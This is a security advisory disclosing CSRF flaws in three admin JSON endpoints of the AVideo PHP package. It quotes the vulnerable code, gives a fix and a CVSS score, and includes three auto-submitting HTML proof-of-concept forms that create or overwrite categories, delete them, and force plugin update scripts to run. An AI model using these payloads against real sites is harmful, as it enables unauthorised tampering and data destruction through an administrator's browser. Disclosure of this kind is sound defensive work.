Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)

High **DanielnetoDotCom** published **GHSA-ffw8-fwxp-h64w** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

Three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session.

Details

AVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.

1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category

```php
if (!Category::canCreateCategory()) {
    $obj->msg = __("Permission denied");
    die(json_encode($obj));
}

$objCat = new Category(intval(@$_POST['id']));
$objCat->setName($_POST['name']);
$objCat->setClean_name($_POST['clean_name']);
$objCat->setDescription($_POST['description']);
$objCat->setIconClass($_POST['iconClass']);
$objCat->setSuggested($_POST['suggested']);
$objCat->setParentId($_POST['parentId']);
$objCat->setPrivate($_POST['private']);
$objCat->setAllow_download($_POST['allow_download']);
$objCat->setOrder($_POST['order']);
$obj->categories_id = $objCat->save();
```

`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.

2. `objects/categoryDelete.json.php:10` — CSRF delete category

```php
if (!Category::canCreateCategory()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
require_once 'category.php';
$obj = new Category($_POST['id']);
$response = $obj->delete();
```

No token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.

3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update

```php
if (!User::isAdmin()) {
    forbiddenPage('Permission denied');
}
if (empty($_POST['name'])) {
    forbiddenPage('Name can\'t be blank');
}
ini_set('max_execution_time', 300);
require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';
```

```
17
18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){
19     $_POST['name'] = 'PlayLists';
20 }
21
22 $obj = new stdClass();
23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']);
```

`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission.

Why no global mitigation blocks this

- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.
- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.
- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).
- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.

PoC

All three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.

PoC 1 — Create/overwrite category

```
<!-- evil-create.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/categoryAddNew.json.php" method="P
  <input name="id" value="0">           <!-- 0 = create; any existing id = overwrite --
  <input name="name" value="Owned">
  <input name="clean_name" value="owned">
  <input name="description" value="pwn">
  <input name="iconClass" value="fas fa-skull">
  <input name="suggested" value="1">
  <input name="parentId" value="0">
  <input name="private" value="0">
  <input name="allow_download" value="1">
  <input name="order" value="1">
</form>
```

```
<script>document.getElementById('f').submit();</script>
</body></html>
```

Expected: a new row appears in the `categories` table, returned as `{"error":false,"categories_id":<n>,...}`. Changing `id=0` to an existing category id overwrites that row's fields.

PoC 2 — Delete category

```
<!-- evil-delete.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/categoryDelete.json.php" method="P
  <input name="id" value="2">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
```

Multiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.

PoC 3 — Force plugin updateScript()

```
<!-- evil-plugin-update.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/pluginRunUpdateScript.json.php" me
  <input name="name" value="Live">
  <input name="uuid" value="anything">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
```

Expected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s.

Impact

- **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.
- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.
- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in

the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise.

- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.

Recommended Fix

Add an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.

```
// objects/categoryAddNew.json.php (after line 18)
if (!Category::canCreateCategory()) {
    $obj->msg = __("Permission denied");
    die(json_encode($obj));
}
if (!isGlobalTokenValid()) {
    http_response_code(403);
    die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
```

```
// objects/categoryDelete.json.php (after line 12)
if (!Category::canCreateCategory()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
if (!isGlobalTokenValid()) {
    http_response_code(403);
    die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
```

```
// objects/pluginRunUpdateScript.json.php (after line 11)
if (!User::isAdmin()) {
    forbiddenPage('Permission denied');
}
if (!isGlobalTokenValid()) {
    http_response_code(403);
    die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
```

The long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.

Severity

High 7.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

CVE ID

CVE-2026-40926

Weaknesses

▶ CWE-352